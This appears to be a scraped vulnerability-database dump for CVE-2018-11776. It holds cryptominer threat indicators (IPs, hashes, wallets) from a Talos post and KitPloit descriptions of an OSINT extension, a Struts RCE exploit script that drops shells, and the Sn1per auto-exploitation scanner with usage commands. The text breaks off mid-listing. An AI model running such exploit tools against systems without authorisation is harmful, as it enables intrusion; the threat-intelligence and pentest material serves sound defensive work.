\n4347d37b7ea18caacb843064dc31a6cda3c91fa7feb4d046742fd9bd985a8c86 \n \nWallets \nrocke@live.cn \n44NU2ZadWJuDyVqKvzapAMSe6zR6JE99FQXh2gG4yuANW5fauZm1rPuTuycCPX3D7k2uiNc55SXL3TX8fHrbb9zQAqEM64W \n44FUzGBCUrwAzA2et2CRHyD57osHpmfTHAXzbqn2ycxtg2bpk792YCSLU8BPTciVFo9mowjakCLNg81WwXgN2GEtQ4uRuN3 \n45JymPWP1DeQxxMZNJv9w2bTQ2WJDAmw18wUSryDQa3RPrympJPoUSVcFEDv3bhiMJGWaCD4a3KrFCorJHCMqXJUKApSKDV \n88RiksgPZR5C3Z8B51AQQQMy3zF9KFN7zUC5P5x2DYCFa8pUkY3biTQM6kYEDHWpczGMe76PedzZ6KTsrCDVWGXNRHqwGto \n \n\n\n#### 8220 Gang\n\n45[.]32[.]39[.]40:8220 \n45[.]77[.]24[.]16 \n54[.]37[.]57[.]99:8220 \n67[.]21[.]81[.]179:8220 \n67[.]231[.]243[.]10:8220 \n98[.]142[.]140[.]13:8220 \n98[.]142[.]140[.]13:3333 \n98[.]142[.]140[.]13:8888 \n104[.]129[.]171[.]172:8220 \n104[.]225[.]147[.]196:8220 \n128[.]199[.]86[.]57:8220 \n142[.]4[.]124[.]50:8220 \n142[.]4[.]124[.]164:8220 \n158[.]69[.]133[.]17:8220 \n158[.]69[.]133[.]18:8220 \n158[.]69[.]133[.]20:3333 \n162[.]212[.]157[.]244:8220 \n165[.]227[.]215[.]212:8220 \n185[.]82[.]218[.]206:8220 \n192[.]99[.]142[.]226:8220 \n192[.]99[.]142[.]227 \n192[.]99[.]142[.]232:8220 \n192[.]99[.]142[.]235:8220 \n192[.]99[.]142[.]240:8220 \n192[.]99[.]142[.]248:8220 \n192[.]99[.]142[.]249:3333 \n192[.]99[.]142[.]251:80 \n192[.]99[.]56[.]117:8220 \n195[.]123[.]224[.]186:8220 \n198[.]181[.]41[.]97:8220 \n202[.]144[.]193[.]110:3333 \nhxxps://github[.]com/MRdoulestar/whatMiner \n \n1e43eac49ff521912db16f7a1c6b16500f7818de9f93bb465724add5b4724a13 \ne2403b8198fc3dfdac409ea3ce313bbf12b464b60652d7e2e1bc7d6c356f7e5e \n31bae6f19b32b7bb7188dd4860040979cf6cee352d1135892d654a4df0df01c1 \ncb5936e20e77f14ea7bee01ead3fb9d3d72af62b5118898439d1d11681ab0d35 \ncfdee84680d67d4203ccd1f32faf3f13e6e7185072968d5823c1200444fdd53e \nefbde3d4a6a495bb7d90a266ab1e49879f8ac9c2378c6f39831a06b6b74a6803 \n384abd8124715a01c238e90aab031fb996c4ecbbc1b58a67d65d750c7ed45c52 \n \nSamples associated with whatMiner: \nf7a97548fbd8fd73e31e602d41f30484562c95b6e0659eb37e2c14cbadd1598c \n1f5891e1b0bbe75a21266caee0323d91f2b40ecc4ff1ae8cc8208963d342ecb7 \n3138f8ea7ba45d81318729703d9140c65effc15d56e61e928474dd277c067e04 \n241916012cc4288efd2a4b1f16d1db68f52e17e174425de6abee4297f01ec64f \n3138f8ea7ba45d81318729703d9140c65effc15d56e61e928474dd277c067e04 \n \nWallets \n41e2vPcVux9NNeTfWe8TLK2UWxCXJvNyCQtNb69YEexdNs711jEaDRXWbwaVe4vUMveKAzAiA4j8xgUi29TpKXpm3zKTUYo \n4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg \n46CQwJTeUdgRF4AJ733tmLJMtzm8BogKo1unESp1UfraP9RpGH6sfKfMaE7V3jxpyVQi6dsfcQgbvYMTaB1dWyDMUkasg3S \n \n\n\n#### \n\n#### Tor2mine\n\n107[.]181[.]160[.]197 \n107[.]181[.]174[.]248 \n107[.]181[.]187[.]132 \nasq[.]r77vh0[.]pw \n194[.]67[.]204[.]189 \nqm7gmtaagejolddt[.]onion[.]to \nres1[.]myrms[.]pw \nhxxps://gitlab[.]com/Shtrawban \nrig[.]zxcvb[.]pw \nback123[.]brasilia[.]me \n \n91853a9cdbe33201bbd9838526c6e5907724eb28b3a3ae8b3e0126cee8a46639 32.exe \n44586883e1aa03b0400a8e394a718469424eb8c157e8760294a5c94dad3c1e19 64.exe \n3318c2a27daa773e471c6220b7aed4f64eb6a49901fa108a1519b3bbae81978f 7.exe \nc3c3eb5c8c418164e8da837eb2fdd66848e7de9085aec0fca4bb906cd69c654e 8.exe \n4238a0442850d3cd40f8fb299e39a7bd2a94231333c83a98fb4f8165d89f0f7f check1.ps1 \n904c7860f635c95a57f8d46b105efc7ec7305e24bd358ac69a9728d0d548011a checker.bat \n4f9aeb3bb627f3cad7d23b9e0aa8e2e3b265565c24fec03282d632abbb7dac33 check.hta \naf780550bc8e210fac5668626afdc9f8c7ff4ef04721613f4c72e0bdf6fbbfa3 clocal.hta \ncc7e6b15cf2b6028673ad472ef49a80d087808a45ad0dcf0fefc8d1297ad94b5 clocal.ps1 \nee66beae8d85f2691e4eb4e8b39182ea40fd9d5560e30b88dc3242333346ee02 cnew.hta \na7d5911251c1b4f54b24892e2357e06a2a2b01ad706b3bf23384e0d40a071fdb del.bat \n0f6eedc41dd8cf7a4ea54fc89d6dddaea88a79f965101d81de2f7beb2cbe1050 func.php \ne0ca80f0df651b1237381f2cbd7c5e834f0398f6611a0031d2b461c5b44815fc localcheck.bat \nb2498165df441bc33bdb5e39905e29a5deded7d42f07ad128da2c1303ad35488 scanner.ps1 \n18eda64a9d79819ec1a73935cb645880d05ba26189e0fd5f2fca0a97f3f019a9 shell.bin \n1328bd220d9b4baa8a92b8d3f42f0d123762972d1dfc4b1fd4b4728d67b01dfc ss.exe \n112e3d3bb75e2bf88bd364a42a40434148d781ee89d29c66d17a5a154615e4b1 upd2.ps1 \ne1565b21f9475b356481ddd1dcd92cdbed4f5c7111455df4ef16b82169af0577 upd.hta \n61185ddd3e020a3dfe5cb6ed68069052fe9832b57c605311a82185be776a3212 win10.ps1 \nf1b55302d81f6897e4b2429f2efdad1755e6e0f2e07a1931bce4ecf1565ed481 zazd.bat \ncce61d346022a0192418baa7aff56ab885757f3becd357967035dd6a04bb6abf z.exe \n \n\n\n#### \n\n#### Uncategorized groups\n\n188[.]166[.]38[.]137 \n91[.]121[.]87[.]10 \n94[.]23[.]206[.]130 \n \n46FtfupUcayUCqG7Xs7YHREgp4GW3CGvLN4aHiggaYd75WvHM74Tpg1FVEM8fFHFYDSabM3rPpNApEBY4Q4wcEMd3BM4Ava \n44dSUmMLmqUFTWjv8tcTvbQbSnecQ9sAUT5CtbwDFcfwfSz92WwG97WahMPBdGtXGu4jWFgNtTZrbAkhFYLDFf2GAwfprEg", "cvss3": {}, "published": "2018-12-18T08:33:00", "type": "talosblog", "title": "Connecting the dots between recently active cryptominers", "bulletinFamily": "blog", "cvss2": {}, "cvelist": ["CVE-2018-11776"], "modified": "2018-12-18T16:33:11", "id": "TALOSBLOG:EAA71FE2CFAB05696E23A5F67435416C", "href": "http://feedproxy.google.com/~r/feedburner/Talos/~3/DemsFFZIKpI/cryptomining-campaigns-2018.html", "cvss": {"score": 9.3, "vector": "AV:NETWORK/AC:MEDIUM/Au:NONE/C:COMPLETE/I:COMPLETE/A:COMPLETE/"}}], "kitploit": [{"lastseen": "2023-12-01T17:25:43", "description": "[](<https://1.bp.blogspot.com/-9cslz9huO_U/XYAeBJbmtNI/AAAAAAAAQXo/vfBLw3xqV-stKkRe0MzCd4fOhcbHSMVCwCNcBGAsYHQ/s1600/mitaka_8_eyecatch.png>)\n\n \nMitaka is a browser extension for [OSINT](<https://www.kitploit.com/search/label/OSINT> \"OSINT\" ) search which can: \n\n\n * Extract & refang IoC from a selected block of text. \n * E.g. `example[.]com` to `example.com`, `test[at]example.com` to `some-email@example.com`, `hxxp://example.com` to `http://example.com`, etc.\n * Search / scan it on various engines. \n * E.g. VirusTotal, urlscan.io, Censys, Shodan, etc.\n \n**Features** \n \n**Supported IOC types** \nname | desc. | e.g. \n---|---|--- \ntext | Freetext | any string(s) \nip | IPv4 address | `8.8.8.8` \ndomain | Domain name | `github.com` \nurl | URL | `https://github.com` \nemail | Email address | `some-email@example.com` \nasn | ASN | `AS13335` \nhash | md5 / sha1 / sha256 | `44d88612fea8a8f36de82e1278abb02f` \ncve | CVE number | `CVE-2018-11776` \nbtc | BTC address | `1A1zP1eP5QGefi2DMPTfTL5SLmv7DivfNa` \ngaPubID | Google Adsense Publisher ID | `pub-9383614236930773` \ngaTrackID | Google [Analytics](<https://www.kitploit.com/search/label/Analytics> \"Analytics\" ) Tracker ID | `UA-67609351-1` \n \n**Supported search engines** \nname | url | supported types \n---|---|--- \nAbuseIPDB | [https://www.abuseipdb.com](<https://www.abuseipdb.com/> \"https://www.abuseipdb.com\" ) | ip \narchive.org | [https://archive.org](<https://archive.org/> \"https://archive.org\" ) | url \narchive.today | [http://archive.fo](<http://archive.fo/> \"http://archive.fo\" ) | url \nBGPView | [https://bgpview.io](<https://bgpview.io/> \"https://bgpview.io\" ) | ip / asn \nBinaryEdge | [https://app.binaryedge.io](<https://app.binaryedge.io/> \"https://app.binaryedge.io\" ) | ip / domain \nBitcoinAbuse | [https://www.bitcoinabuse.com](<https://www.bitcoinabuse.com/> \"https://www.bitcoinabuse.com\" ) | btc \nBlockchain.com | [https://www.blockchain.com](<https://www.blockchain.com/> \"https://www.blockchain.com\" ) | btc \nBlockCypher | [https://live.blockcypher.com](<https://live.blockcypher.com/> \"https://live.blockcypher.com\" ) | btc \nCensys | [https://censys.io](<https://censys.io/> \"https://censys.io\" ) | ip / domain / asn / text \ncrt.sh | [https://crt.sh](<https://crt.sh/> \"https://crt.sh\" ) | domain \nDNSlytics | [https://dnslytics.com](<https://dnslytics.com/> \"https://dnslytics.com\" ) | ip / domain \nDomainBigData | [https://domainbigdata.com](<https://domainbigdata.com/> \"https://domainbigdata.com\" ) | domain \nDomainTools | [https://www.domaintools.com](<https://www.domaintools.com/> \"https://www.domaintools.com\" ) | ip / domain \nDomainWatch | [https://domainwat.ch](<https://domainwat.ch/> \"https://domainwat.ch\" ) | domain / email \nEmailRep | [https://emailrep.io](<https://emailrep.io/> \"https://emailrep.io\" ) | email \nFindSubDomains | [https://findsubdomains.com](<https://findsubdomains.com/> \"https://findsubdomains.com\" ) | domain \nFOFA | [https://fofa.so](<https://fofa.so/> \"https://fofa.so\" ) | ip / domain \nFortiGuard | [https://fortiguard.com](<https://fortiguard.com/> \"https://fortiguard.com\" ) | ip / url / cve \nGoogle Safe Browsing | [https://transparencyreport.google.com](<https://transparencyreport.google.com/> \"https://transparencyreport.google.com\" ) | domain / url \nGreyNoise | [https://viz.greynoise.io](<https://viz.greynoise.io/> \"https://viz.greynoise.io\" ) | ip / domain / asn \nHashdd | [https://hashdd.com](<https://hashdd.com/> \"https://hashdd.com\" ) | ip / domain / hash \nHybridAnalysis | [https://www.hybrid-analysis.com](<https://www.hybrid-analysis.com/> \"https://www.hybrid-analysis.com\" ) | ip / domain / hash (sha256 only) \nIntelligence X | [https://intelx.io](<https://intelx.io/> \"https://intelx.io\" ) | ip / domain / url / email / btc \nIPinfo | [https://ipinfo.io](<https://ipinfo.io/> \"https://ipinfo.io\" ) | ip / asn \nIPIP | [https://en.ipip.net](<https://en.ipip.net/> \"https://en.ipip.net\" ) | ip / asn \nJoe Sandbox | [https://www.joesandbox.com](<https://www.joesandbox.com/> \"https://www.joesandbox.com\" ) | hash \nMalShare | [https://malshare.com](<https://malshare.com/> \"https://malshare.com\" ) | hash \nMaltiverse | [https://www.maltiverse.com](<https://www.maltiverse.com/> \"https://www.maltiverse.com\" ) | domain / hash \nNVD | [https://nvd.nist.gov](<https://nvd.nist.gov/> \"https://nvd.nist.gov\" ) | cve \nOOCPR | [https://data.occrp.org](<https://data.occrp.org/> \"https://data.occrp.org\" ) | email \nONYPHE | [https://www.onyphe.io](<https://www.onyphe.io/> \"https://www.onyphe.io\" ) | ip \nOTX | [https://otx.alienvault.com](<https://otx.alienvault.com/> \"https://otx.alienvault.com\" ) | ip / domain / hash \nPubDB | [http://pub-db.com](<http://pub-db.com/> \"http://pub-db.com\" ) | gaPubID / gaTrackID \nPublicWWW | [https://publicwww.com](<https://publicwww.com/> \"https://publicwww.com\" ) | text \nPulsedive | [https://pulsedive.com](<https://pulsedive.com/> \"https://pulsedive.com\" ) | ip / domaion / url / hash \nRiskIQ | [http://community.riskiq.com](<http://community.riskiq.com/> \"http://community.riskiq.com\" ) | ip / domain / email / gaTrackID \nSecurityTrails | [https://securitytrails.com](<https://securitytrails.com/> \"https://securitytrails.com\" ) | ip / domain / email \nShodan | [https://www.shodan.io](<https://www.shodan.io/> \"https://www.shodan.io\" ) | ip / domain / asn \nSploitus | [https://sploitus.com](<https://sploitus.com/> \"https://sploitus.com\" ) | cve \nSpyOnWeb | [http://spyonweb.com](<http://spyonweb.com/> \"http://spyonweb.com\" ) | ip / domain / gaPubID / gaTrackID \nTalos | [https://talosintelligence.com](<https://talosintelligence.com/> \"https://talosintelligence.com\" ) | ip / domain \nThreatConnect | [https://app.threatconnect.com](<https://app.threatconnect.com/> \"https://app.threatconnect.com\" ) | ip / domain / email \nThreatCrowd | [https://www.threatcrowd.org](<https://www.threatcrowd.org/> \"https://www.threatcrowd.org\" ) | ip / domain / email \nThreatMiner | [https://www.threatminer.org](<https://www.threatminer.org/> \"https://www.threatminer.org\" ) | ip / domain / hash \nTIP | [https://threatintelligenceplatform.com](<https://threatintelligenceplatform.com/> \"https://threatintelligenceplatform.com\" ) | ip / domain \nUrlscan | [https://urlscan.io](<https://urlscan.io/> \"https://urlscan.io\" ) | ip / domain / asn / url \nViewDNS | [https://viewdns.info](<https://viewdns.info/> \"https://viewdns.info\" ) | ip / domain / email \nVirusTotal | [https://www.virustotal.com](<https://www.virustotal.com/> \"https://www.virustotal.com\" ) | ip / domain / url / hash \nVulmon | [https://vulmon.com](<https://vulmon.com/> \"https://vulmon.com\" ) | cve \nVulncodeDB | [https://www.vulncode-db.com](<https://www.vulncode-db.com/> \"https://www.vulncode-db.com\" ) | cve \nVxCube | [http://vxcube.com](<http://vxcube.com/> \"http://vxcube.com\" ) | ip / domain / hash \nWebAnalyzer | [https://wa-com.com](<https://wa-com.com/> \"https://wa-com.com\" ) | domain \nWe Leak Info | [https://weleakinfo.com](<https://weleakinfo.com/> \"https://weleakinfo.com\" ) | email \nX-Force Exchange | [https://exchange.xforce.ibmcloud.com](<https://exchange.xforce.ibmcloud.com/> \"https://exchange.xforce.ibmcloud.com\" ) | ip / domain / hash \nZoomEye | [https://www.zoomeye.org](<https://www.zoomeye.org/> \"https://www.zoomeye.org\" ) | ip \n \n**Supported scan engines** \nname | url | supported types \n---|---|--- \nUrlscan | [https://urlscan.io](<https://urlscan.io/> \"https://urlscan.io\" ) | ip / domain / url \nVirusTotal | [https://www.virustotal.com](<https://www.virustotal.com/> \"https://www.virustotal.com\" ) | url \n \n**Downloads** \n\n\n * Chrome: <https://chrome.google.com/webstore/detail/mitaka/bfjbejmeoibbdpfdbmbacmefcbannnbg>\n * FireFox: <https://addons.mozilla.org/en-US/firefox/addon/mitaka/>\n \n**How to use** \nThis browser extension shows context menus based on a type of IoC you selected and then you can choose what you want to search / scan on. \n \n**Examples:** \n \n\n\n[](<https://1.bp.blogspot.com/-2tdM6fuXGfQ/XYAeOc1TdNI/AAAAAAAAQXs/o9Yh-_pJEdwOcF-5KM-3Hj9CjQSlHLl5wCNcBGAsYHQ/s1600/mitaka_9_1.gif>)\n\n \n\n\n[](<https://1.bp.blogspot.com/-4t9b6shG_iQ/XYAeOVytJkI/AAAAAAAAQXw/b4P4PJz5gU0lDqmKpJ9dL3jhiUVXkhOxwCNcBGAsYHQ/s1600/mitaka_10_2.gif>)\n\n \n**Note:** \nPlease set your urlscan.io & [VirusTotal](<https://www.kitploit.com/search/label/VirusTotal> \"VirusTotal\" ) API keys in the options page for enabling urlscan.io & VirusTotal scans. \n \n**Options** \nYou can enable / disable a search engine on the options page based on your preference. \n \n\n\n[](<https://1.bp.blogspot.com/-dP_LGUSsF1M/XYAeT14bPsI/AAAAAAAAQX0/U7gyifaFxOgCv92e0_k0fugVzaLMShGIACNcBGAsYHQ/s1600/mitaka_11_options.png>)\n\n \n**About Permissons** \nThis browser extension requires the following permissions. \n\n\n * `Read and change all your data on the websites you visit`: \n * This extension creates context menus dynamically based on what you select on a website.\n * It means this extension requires reading all your data on the websites you visit. (This extension doesn't change anything on the websites)\n * `Display notifications`: \n * This extension makes a notification when something goes wrong.\nI don't (and will never) collect any information from the users. \n \n**Alternatives or Similar Tools** \n\n\n * [CrowdScrape](<https://chrome.google.com/webstore/detail/crowdscrape/jjplaeklnlddpkbbdbnogmppffokemej> \"CrowdScrape\" )\n * [Gotanda](<https://github.com/HASH1da1/Gotanda> \"Gotanda\" )\n * [Sputnik](<https://github.com/mitchmoser/sputnik> \"Sputnik\" )\n * [ThreatConnect Integrated ](<https://chrome.google.com/webstore/detail/threatconnect-integrated/lblgcphpihpadjdpjgjnnoikjdjcnkbh> \"ThreatConnect Integrated \" )[Chrome](<https://www.kitploit.com/search/label/Chrome> \"Chrome\" ) Extension\n * [ThreatPinch Lookup](<https://github.com/cloudtracer/ThreatPinchLookup> \"ThreatPinch Lookup\" )\n * [VTchromizer](<https://chrome.google.com/webstore/detail/vtchromizer/efbjojhplkelaegfbieplglfidafgoka> \"VTchromizer\" )\n \n**How to build (for developers)** \nThis browser extension is written in [TypeScript](<https://www.typescriptlang.org/> \"TypeScript\" ) and built by [webpack](<https://webpack.js.org/> \"webpack\" ). \nTypeScript files will start out in `src` directory, run through the TypeScript compiler, then webpack, and end up in JavaScript files in `dist` directory. \n\n \n \n git clone https://github.com/ninoseki/mitaka.git\n cd mitaka\n npm install\n npm run test\n npm run build\n\nFor loading an unpacked extension, please follow the procedures described at <https://developer.chrome.com/extensions/getstarted>. \n \n**Misc** \nMitaka/\u898b\u305f\u304b means \"Have you seen it?\" in Japanese. \n \n \n\n\n**[Download Mitaka](<https://github.com/ninoseki/mitaka> \"Download Mitaka\" )**\n", "cvss3": {"exploitabilityScore": 2.2, "cvssV3": {"baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "attackComplexity": "HIGH", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 8.1, "vectorString": "CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 5.9}, "published": "2019-09-21T12:00:00", "type": "kitploit", "title": "Mitaka - A Browser Extension For OSINT Search", "bulletinFamily": "tools", "cvss2": {"severity": "HIGH", "exploitabilityScore": 8.6, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "MEDIUM", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 9.3, "vectorString": "AV:N/AC:M/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "acInsufInfo": false, "obtainUserPrivilege": false}, "cvelist": ["CVE-2018-11776"], "modified": "2019-09-21T12:00:07", "id": "KITPLOIT:8708017483803645203", "href": "http://www.kitploit.com/2019/09/mitaka-browser-extension-for-osint.html", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-12-02T16:52:01", "description": " \n\n\n[](<https://3.bp.blogspot.com/-MKbYVQXvBz0/W4LReq3_cJI/AAAAAAAAMQ0/WgNhU5_o5cIwFs69p3T2YIf3xObo_rAtgCLcBGAs/s1600/Apache-Struts-v3_1_screen.png>)\n\n \nScript contains the fusion of 3 RCE vulnerabilities on ApacheStruts, it also has the ability to create server shells. \n \n**SHELL** \n**php** `finished` \n**jsp** `process` \n \n**CVE ADD** \n**CVE-2013-2251** `'action:', 'redirect:' and 'redirectAction'` \n**CVE-2017-5638** `Content-Type` \n**CVE-2018-11776** `'redirect:' and 'redirectAction'` \n \n \n\n\n**[Download Apache-Struts-v3](<https://github.com/s1kr10s/Apache-Struts-v3>)**\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "CHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "NONE", "baseScore": 10.0, "vectorString": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H", "version": "3.0", "userInteraction": "NONE"}, "impactScore": 6.0}, "published": "2018-08-26T21:14:00", "type": "kitploit", "title": "Apache Struts v3 - Tool To Exploit 3 RCE Vulnerabilities On ApacheStruts", "bulletinFamily": "tools", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "COMPLETE", "availabilityImpact": "COMPLETE", "integrityImpact": "COMPLETE", "baseScore": 10.0, "vectorString": "AV:N/AC:L/Au:N/C:C/I:C/A:C", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "impactScore": 10.0, "obtainUserPrivilege": false}, "cvelist": ["CVE-2013-2251", "CVE-2017-5638", "CVE-2018-11776"], "modified": "2018-08-26T21:14:01", "id": "KITPLOIT:4611207874033525364", "href": "http://www.kitploit.com/2018/08/apache-struts-v3-tool-to-exploit-3-rce.html", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2023-12-02T20:51:38", "description": "[](<https://1.bp.blogspot.com/-Poffj1hNPBk/XNXfkZuyGfI/AAAAAAAAO0U/k4nQgdLXOoEZMOGlGb3wgnx8HgQzEtacgCLcBGAs/s1600/Sn1per_1_Sn1per.jpeg>)\n\n \n\n\nSn1per Community Edition is an [automated scanner](<https://www.kitploit.com/search/label/Automated%20scanner> \"automated scanner\" ) that can be used during a [penetration test](<https://www.kitploit.com/search/label/Penetration%20Test> \"penetration test\" ) to enumerate and scan for vulnerabilities. Sn1per Professional is Xero Security's premium reporting addon for Professional Penetration Testers, Bug Bounty Researchers and Corporate Security teams to manage large environments and pentest scopes. For more information regarding Sn1per Professional, go to [https://xerosecurity.com](<https://xerosecurity.com/> \"https://xerosecurity.com\" ).\n\n \n**SN1PER PROFESSIONAL FEATURES:** \n \n**Professional reporting interface** \n \n\n\n[](<https://2.bp.blogspot.com/-HnwS8O0KEik/XNXfrGJWPeI/AAAAAAAAO0Y/94Hl4CC3M_kytYKkKldzXNviz4ff92TVACLcBGAs/s1600/Sn1per_8.png>)\n\n \n**Slideshow for all gathered screenshots** \n \n\n\n[](<https://2.bp.blogspot.com/-coOpsZX0XMM/XNXfuVNicUI/AAAAAAAAO0c/Wd2EQSAcI4Uti3bkaa1kxqajpStfjTK0ACLcBGAs/s1600/Sn1per_9.png>)\n\n \n**Searchable and sortable DNS, IP and open port database** \n \n\n\n[](<https://4.bp.blogspot.com/-bfzb6vLbCks/XNXfy5vfkTI/AAAAAAAAO0g/9aO7_9YKrqMyWK3PehtfItlm4DZ6KWR4gCLcBGAs/s1600/Sn1per_10.png>)\n\n \n**Detailed host reports** \n \n\n\n[](<https://4.bp.blogspot.com/-JbxR5Z-2O_4/XNXf2YbT_DI/AAAAAAAAO0o/w8Hin6Cbf1Ue4QbVW70T2-r1Rj82wDsSQCLcBGAs/s1600/Sn1per_11.png>)\n\n \n**NMap HTML host reports** \n \n\n\n[](<https://2.bp.blogspot.com/-TYr4tFOy7Y4/XNXf7dXeSII/AAAAAAAAO0w/0YMKst5KHGoygojHG2r6tJxqkg2a-w1YQCLcBGAs/s1600/Sn1per_12.png>)\n\n \n**Quick links to online recon tools and Google hacking queries** \n \n\n\n[](<https://1.bp.blogspot.com/-FNe1YF5mg68/XNXgAPQOAEI/AAAAAAAAO00/5uuuQo2KqRgwpTE11Z-U6p_XGetjCf9vgCLcBGAs/s1600/Sn1per_13.png>)\n\n \n**Takeovers and Email Security** \n \n\n\n[](<https://2.bp.blogspot.com/-FNah2OwM_nU/XNXgEeJZG9I/AAAAAAAAO08/A7lu1554nJ0GpEOj7AtdZ_emSoyq5lBxQCLcBGAs/s1600/Sn1per_14.png>)\n\n \n**HTML5 Notepad** \n \n\n\n[](<https://2.bp.blogspot.com/-DHOnECOz-T0/XNXgH_QX4JI/AAAAAAAAO1E/s0bFVC-Uf_87tBFY2AJwiJyHgKJ8VgKXQCLcBGAs/s1600/Sn1per_15.png>)\n\n \n**ORDER SN1PER PROFESSIONAL:** \nTo obtain a Sn1per Professional license, go to [https://xerosecurity.com](<https://xerosecurity.com/> \"https://xerosecurity.com\" ). \n \n**DEMO VIDEO:** \n \n \n\n\n[](<https://asciinema.org/a/IDckE48BNSWQ8TV8yEjJjjMNm>)\n\n \n \n**SN1PER COMMUNITY FEATURES:** \n\n\n * Automatically collects basic recon (ie. whois, ping, DNS, etc.)\n * Automatically launches Google hacking queries against a target domain\n * Automatically enumerates open ports via NMap port scanning\n * Automatically brute forces sub-domains, gathers DNS info and checks for zone transfers\n * Automatically checks for sub-domain hijacking\n * Automatically runs targeted NMap scripts against open ports\n * Automatically runs targeted Metasploit scan and exploit modules\n * Automatically scans all web applications for common vulnerabilities\n * Automatically brute forces ALL open services\n * Automatically test for anonymous FTP access\n * Automatically runs WPScan, Arachni and Nikto for all web services\n * Automatically enumerates NFS shares\n * Automatically test for anonymous LDAP access\n * Automatically enumerate SSL/TLS ciphers, protocols and vulnerabilities\n * Automatically enumerate SNMP community strings, services and users\n * Automatically list SMB users and shares, check for NULL sessions and exploit MS08-067\n * Automatically exploit vulnerable JBoss, Java RMI and Tomcat servers\n * Automatically tests for open X11 servers\n * Auto-pwn added for Metasploitable, ShellShock, MS08-067, Default Tomcat Creds\n * Performs high level enumeration of multiple hosts and subnets\n * Automatically integrates with Metasploit Pro, MSFConsole and Zenmap for reporting\n * Automatically gathers screenshots of all web sites\n * Create individual workspaces to store all scan output\n \n**EXPLOITS:** \n\n\n * Drupal RESTful Web Services unserialize() SA-CORE-2019-003\n * Apache Struts: S2-057 (CVE-2018-11776): Security updates available for Apache Struts\n * Drupal: CVE-2018-7600: [Remote Code Execution](<https://www.kitploit.com/search/label/Remote%20Code%20Execution> \"Remote Code Execution\" ) \\- SA-CORE-2018-002\n * GPON Routers - Authentication Bypass / [Command Injection](<https://www.kitploit.com/search/label/Command%20Injection> \"Command Injection\" ) CVE-2018-10561\n * MS17-010 EternalBlue SMB Remote Windows Kernel Pool Corruption\n * Apache Tomcat: Remote Code Execution (CVE-2017-12617)\n * Oracle WebLogic wls-wsat Component Deserialization Remote Code Execution CVE-2017-10271\n * Apache Struts Content-Type arbitrary command execution (CVE-2017-5638)\n * Apache Struts 2 Framework Checks - REST plugin with XStream handler (CVE-2017-9805)\n * Apache Struts Content-Type arbitrary command execution (CVE-2017-5638)\n * Microsoft IIS WebDav ScStoragePathFromUrl Overflow CVE-2017-7269\n * ManageEngine Desktop Central 9 FileUploadServlet ConnectionId Vulnerability CVE-2015-8249\n * Shellshock Bash Shell remote code execution CVE-2014-6271\n * HeartBleed OpenSSL Detection CVE-2014-0160\n * MS12-020: Vulnerabilities in Remote Desktop Could Allow Remote Code Execution (2671387)\n * Tomcat Application Manager Default Ovwebusr Password Vulnerability CVE-2009-3843\n * MS08-067 Microsoft Server Service Relative Path Stack Corruption\n * Webmin File Disclosure CVE-2006-3392\n * VsFTPd 2.3.4 Backdoor\n * ProFTPd 1.3.3C Backdoor\n * MS03-026 Microsoft RPC DCOM Interface Overflow\n * DistCC Daemon Command Execution\n * JBoss Java De-Serialization\n * HTTP Writable Path PUT/DELETE File Access\n * Apache Tomcat User Enumeration\n * Tomcat Application Manager Login Bruteforce\n * Jenkins-CI Enumeration\n * HTTP WebDAV Scanner\n * Android Insecure ADB\n * Anonymous FTP Access\n * PHPMyAdmin Backdoor\n * PHPMyAdmin Auth Bypass\n * OpenSSH User Enumeration\n * LibSSH Auth Bypass\n * SMTP User Enumeration\n * Public NFS Mounts\n \n**KALI LINUX INSTALL:** \n\n \n \n bash install.sh\n\n \n**UBUNTU/DEBIAN/PARROT INSTALL:** \n\n \n \n bash install_debian_ubuntu.sh\n\n \n**DOCKER INSTALL:** \n\n \n \n docker build Dockerfile\n\n \n**USAGE:** \n\n \n \n [*] NORMAL MODE\n sniper -t|--target <TARGET>\n \n [*] NORMAL MODE + OSINT + RECON + FULL PORT SCAN + BRUTE FORCE\n sniper -t|--target <TARGET> -o|--osint -re|--recon -fp|--fullportonly -b|--bruteforce\n \n [*] STEALTH MODE + OSINT + RECON\n sniper -t|--target <TARGET> -m|--mode stealth -o|--osint -re|--recon\n \n [*] DISCOVER MODE\n sniper -t|--target <CIDR> -m|--mode discover -w|--workspace <WORSPACE_ALIAS>\n \n [*] FLYOVER MODE\n sniper -t|--target <TARGET> -m|--mode flyover -w|--workspace <WORKSPACE_ALIAS>\n \n [*] AIRSTRIKE MODE\n sniper -f|--file /full/path/to/targets.txt -m|--mode airstrike\n \n [*] NUKE MODE WITH TARGET LIST, BRUTEFORCE ENABLED, FULLPORTSCAN ENABLED, OSINT ENABLED, RECON ENABLED, WORKSPACE & LOOT ENABLED\n sniper -f--file /full/path/to/targets.txt -m|--mode nuke -w|--workspace <WORKSPACE_ALIAS>\n \n [*] SCAN ONLY SPECIFIC PORT\n sniper -t|--target <TA RGET> -m port -p|--port <portnum>\n \n [*] 